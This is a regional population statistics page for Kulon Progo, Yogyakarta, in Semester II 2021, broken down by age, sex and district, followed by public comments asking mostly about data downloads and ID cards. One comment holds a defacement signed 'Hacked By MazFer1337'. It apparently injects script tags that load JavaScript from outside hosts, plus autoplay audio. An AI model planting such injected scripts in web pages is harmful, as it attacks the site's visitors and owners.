Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KABUPATEN KULON PROGO, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaTEMONWATESPANJATANGALURLENDAHSENTOLOPENGASIHKOKAPGIRIMULYONANGGULANSAMIGALUHKALIBAWANGTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun333287 620534464 998421392 813320330 650457394 851563540 1.103588548 1.136387339 726268206 474311305 616239258 497281258 5394.702 4.321 9.023
2 tahun196191 387323297 620263228 491204200 404283224 507322309 631336330 666229207 436156121 277209155 364140142 282179133 3122.840 2.537 5.377
3 tahun228179 407339294 633265229 494221173 394258244 502352299 651355332 687260233 493148128 276203210 413181147 328182169 3512.992 2.637 5.629
4 tahun188186 374297314 611237235 472227222 449258249 507328285 613368316 684207208 415150137 287212193 405174160 334152174 3262.798 2.679 5.477
5 tahun203199 402331348 679260253 513218190 408303265 568346354 700354353 707238228 466158137 295204194 398186162 348180155 3352.981 2.838 5.819
6 tahun245198 443377341 718266262 528215210 425266278 544322302 624384339 723242228 470174149 323233209 442196153 349221198 4193.141 2.867 6.008
7 tahun203211 414354361 715263275 538207242 449330266 596393318 711388322 710237249 486150149 299209214 423182154 336188173 3613.104 2.934 6.038
8 tahun213192 405370331 701278262 540223217 440277260 537358324 682345371 716241222 463156135 291203191 394160153 313191162 3533.015 2.820 5.835
9 tahun222220 442399345 744288240 528224233 457317285 602398343 741382376 758248219 467149171 320221202 423191170 361198192 3903.237 2.996 6.233
10 tahun232196 428382330 712268262 530239247 486313296 609406363 769412353 765277250 527172167 339210197 407168179 347217216 4333.296 3.056 6.352
11 tahun230196 426396366 762304289 593256252 508278277 555374367 741392403 795265258 523177160 337242233 475205159 364219206 4253.338 3.166 6.504
12 tahun256210 466396388 784288308 596278259 537350304 654397370 767413390 803262205 467171153 324242201 443197187 384226222 4483.476 3.197 6.673
13 tahun256219 475422344 766272303 575248257 505332277 609445406 851408386 794257226 483181158 339228220 448179174 353206212 4183.434 3.182 6.616
14 tahun225201 426419359 778314312 626239208 447309268 577381382 763424392 816240253 493135139 274217199 416200194 394188218 4063.291 3.125 6.416
15 tahun205184 389429391 820300281 581236205 441305261 566355335 690409360 769258233 491146138 284202214 416201214 415228204 4323.274 3.020 6.294
16 tahun203205 408381366 747279241 520196206 402267272 539331338 669380357 737224242 466124141 265207200 407172169 341209212 4212.973 2.949 5.922
17 tahun230236 466386361 747330262 592238232 470306263 569378370 748406348 754260223 483154147 301226200 426233195 428186215 4013.333 3.052 6.385
18 tahun223204 427371344 715289291 580231227 458288289 577362354 716358371 729232231 463175177 352187205 392188182 370209220 4293.113 3.095 6.208
19 tahun224193 417404333 737284282 566196207 403298300 598388336 724362375 737230226 456162178 340212208 420206212 418233207 4403.199 3.057 6.256
20 tahun243236 479368369 737302268 570245222 467293284 577339348 687378422 800270235 505174189 363227221 448196197 393256208 4643.291 3.199 6.490
21 tahun244221 465394392 786302283 585259203 462297280 577376385 761402423 825276254 530155184 339230232 462216181 397248235 4833.399 3.273 6.672
22 tahun218223 441359367 726271306 577243235 478271264 535380376 756335384 719236255 491177181 358254212 466234189 423251221 4723.229 3.213 6.442
23 tahun217216 433350345 695293261 554245236 481274257 531332339 671350364 714292235 527190153 343214210 424211208 419204199 4033.172 3.023 6.195
24 tahun226231 457351353 704307284 591221226 447303273 576337345 682361360 721285241 526181149 330226234 460214211 425249229 4783.261 3.136 6.397
25 tahun232230 462386332 718333284 617245226 471260281 541392342 734435413 848265288 553179189 368246208 454252211 463231232 4633.456 3.236 6.692
26 tahun225210 435368351 719315253 568244231 475274294 568355364 719388386 774274263 537180163 343257208 465204175 379214206 4203.298 3.104 6.402
27 tahun221204 425359324 683287271 558210241 451270272 542339331 670362378 740257247 504170193 363210217 427220170 390195191 3863.100 3.039 6.139
28 tahun218209 427333335 668303275 578229223 452300261 561338370 708418383 801275244 519183178 361201205 406178202 380224210 4343.200 3.095 6.295
29 tahun196185 381329348 677303250 553223246 469259276 535372353 725394383 777262242 504157162 319198240 438194184 378209173 3823.096 3.042 6.138
30 tahun178169 347328325 653233243 476193228 421260267 527308341 649360381 741280235 515148187 335213205 418160171 331218188 4062.879 2.940 5.819
31 tahun177172 349277325 602211237 448218214 432252241 493358347 705357328 685266213 479162158 320203218 421138135 273175184 3592.794 2.772 5.566
32 tahun168156 324316303 619221252 473215212 427224285 509335343 678342385 727234224 458154156 310196202 398143157 300180157 3372.728 2.832 5.560
33 tahun177167 344314290 604253261 514194191 385237233 470330319 649316321 637215201 416158138 296195195 390146137 283169162 3312.704 2.615 5.319
34 tahun158197 355318338 656227229 456192191 383270256 526296304 600339366 705224226 450140154 294194176 370161128 289170138 3082.689 2.703 5.392
35 tahun167198 365346303 649217238 455186198 384271274 545341325 666324362 686215220 435173141 314205174 379155160 315172169 3412.772 2.762 5.534
36 tahun174204 378324368 692278257 535247229 476307326 633337366 703373370 743225251 476186161 347224210 434160156 316191191 3823.026 3.089 6.115
37 tahun197202 399358373 731249282 531229235 464288323 611373405 778384413 797248214 462170186 356201210 411175164 339190191 3813.062 3.198 6.260
38 tahun182220 402343383 726306283 589230257 487339323 662385364 749365381 746236240 476202171 373195225 420181169 350193197 3903.157 3.213 6.370
39 tahun209235 444365390 755293293 586235267 502334312 646386401 787376383 759281257 538191162 353212254 466149168 317206191 3973.237 3.313 6.550
40 tahun207191 398402373 775249272 521237224 461324303 627407337 744423394 817308275 583181162 343218240 458173184 357194199 3933.323 3.154 6.477
41 tahun198212 410346368 714270269 539233228 461309270 579350331 681353387 740261251 512159168 327263245 508168179 347199185 3843.109 3.093 6.202
42 tahun215207 422379354 733269260 529215230 445314339 653380400 780407409 816270262 532178166 344262243 505184185 369191227 4183.264 3.282 6.546
43 tahun199213 412377392 769273278 551266263 529321347 668383361 744402397 799237208 445162160 322193232 425195196 391230186 4163.238 3.233 6.471
44 tahun196201 397344359 703278263 541213222 435314284 598319326 645349310 659225269 494171139 310217204 421176171 347201218 4193.003 2.966 5.969
45 tahun202212 414379370 749241276 517244230 474309243 552360334 694353366 719256254 510148142 290216194 410179191 370218212 4303.105 3.024 6.129
46 tahun203218 421366343 709271300 571255249 504285312 597354360 714397367 764268283 551173157 330236212 448198202 400204224 4283.210 3.227 6.437
47 tahun184203 387333328 661232251 483239200 439246250 496300316 616296343 639248237 485152161 313194184 378198208 406199227 4262.821 2.908 5.729
48 tahun186205 391325332 657267290 557192232 424299239 538320338 658394365 759251256 507156161 317212224 436168224 392218205 4232.988 3.071 6.059
49 tahun188184 372307361 668300258 558246235 481272295 567346340 686341338 679248257 505179173 352217251 468234228 462218219 4373.096 3.139 6.235
50 tahun184206 390297291 588252254 506221254 475255244 499343316 659322364 686232229 461141164 305209211 420182170 352169172 3412.807 2.875 5.682
51 tahun203199 402344349 693304311 615256245 501294253 547319343 662360372 732207213 420135175 310185212 397187170 357194164 3582.988 3.006 5.994
52 tahun189241 430359372 731298335 633264258 522293295 588341352 693392399 791275285 560180194 374205231 436240226 466192216 4083.228 3.404 6.632
53 tahun218234 452353366 719302288 590248264 512339302 641391394 785339423 762226269 495186188 374216194 410218210 428211225 4363.247 3.357 6.604
54 tahun183204 387314341 655256273 529236255 491278285 563328365 693355380 735255279 534148168 316221258 479211199 410227222 4493.012 3.229 6.241
55 tahun223195 418318314 632280255 535232248 480265261 526301323 624287336 623260212 472138169 307171213 384176175 351172194 3662.823 2.895 5.718
56 tahun206244 450354386 740268274 542282250 532313304 617320368 688374405 779268325 593192196 388213257 470180228 408193246 4393.163 3.483 6.646
57 tahun174188 362275334 609251255 506203203 406264266 530321288 609326341 667226271 497166162 328180192 372158193 351177166 3432.721 2.859 5.580
58 tahun195177 372261337 598226276 502194229 423261268 529284295 579286383 669207247 454150156 306178190 368158188 346141209 3502.541 2.955 5.496
59 tahun177172 349300282 582194238 432204222 426220296 516248324 572281323 604231219 450135167 302176189 365179179 358163166 3292.508 2.777 5.285
60 tahun158169 327286285 571192188 380150181 331232226 458261249 510294270 564147213 360150168 318152167 319176153 329127178 3052.325 2.447 4.772
61 tahun157183 340290320 610236254 490223223 446267308 575318367 685327359 686273348 621165175 340193241 434185221 406181221 4022.815 3.220 6.035
62 tahun188196 384284283 567232240 472192183 375251284 535290329 619321318 639225222 447166199 365166166 332224190 414208231 4392.747 2.841 5.588
63 tahun102154 256215235 450169197 366162175 337203214 417217242 459288260 548189223 412120156 276178170 348149196 345158198 3562.150 2.420 4.570
64 tahun123136 259214239 453172182 354166148 314186230 416236246 482233229 462186173 359111125 236116157 273161162 323130173 3032.034 2.200 4.234
65 tahun114145 259204211 415179165 344124142 266188237 425184246 430223224 447146151 29797137 234147141 288137166 303144156 3001.887 2.121 4.008
66 tahun108123 231182230 412150202 352136163 299206222 428243247 490219233 452217226 443151180 331159199 358156177 333167170 3372.094 2.372 4.466
67 tahun118164 282194216 410181179 360134136 270196193 389251249 500226269 495151163 314129139 268137127 264172163 335146183 3292.035 2.181 4.216
68 tahun90104 194152164 316127115 242115126 241165153 318142136 278189176 365102137 239108114 22289112 201128125 253116121 2371.523 1.583 3.106
69 tahun113116 229174165 339117126 243103121 224137155 292154184 338161158 319127132 25998111 209112113 225138165 303125148 2731.559 1.694 3.253
70 tahun8082 162162145 307108114 22210591 196131152 283172153 325160125 285121100 2219197 1889588 1839989 18810098 1981.424 1.334 2.758
71 tahun7988 167134151 285151147 298104139 243139176 315139167 306140188 328182208 390101143 244138163 301112119 231113150 2631.532 1.839 3.371
72 tahun75102 17799140 239103152 2557286 158117140 257153202 355143217 36084111 19585111 19677100 177119133 25289125 2141.216 1.619 2.835
73 tahun5177 12893112 2057498 1726994 16391102 193115128 243123119 24295125 2208072 15299113 21281101 18294103 1971.065 1.244 2.309
74 tahun5166 1176585 1505884 1426881 14965100 16599130 22987140 22766106 1726671 1376281 14381106 1878585 170853 1.135 1.988
75 tahun4546 917383 1565986 1456181 14277113 19075122 1979688 1843989 1287484 1584264 1066797 16467104 171775 1.057 1.832
76 tahun5260 11271124 19583127 21091103 19479134 213119177 29688167 255124191 31598135 23398144 24280110 190100125 2251.083 1.597 2.680
77 tahun7170 14171121 19281110 1915779 13696107 20392139 231108158 2666194 1556287 1495967 12680108 18863104 167901 1.244 2.145
78 tahun4358 1015376 1296264 1263565 1005198 1496388 1517676 1527281 1534462 1064557 1026094 1545878 136662 897 1.559
79 tahun4666 1126290 1527193 1647284 1567298 17071107 17887130 21776115 1914960 1096973 142102107 2096693 159843 1.116 1.959
80 ke atas275411 686323600 923377632 1.009330511 841402652 1.054451792 1.243465701 1.166375614 989328482 810361503 864443571 1.014412635 1.0474.542 7.104 11.646
Jumlah14.41114.71429.12524.33024.61848.94819.23619.54838.78416.16816.58132.74920.50420.60441.10824.76825.27450.04225.91426.61552.52917.92718.18836.11512.13912.48224.62115.25515.62830.88313.99714.09628.09314.69815.17929.877 219.347 223.527 442.874
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih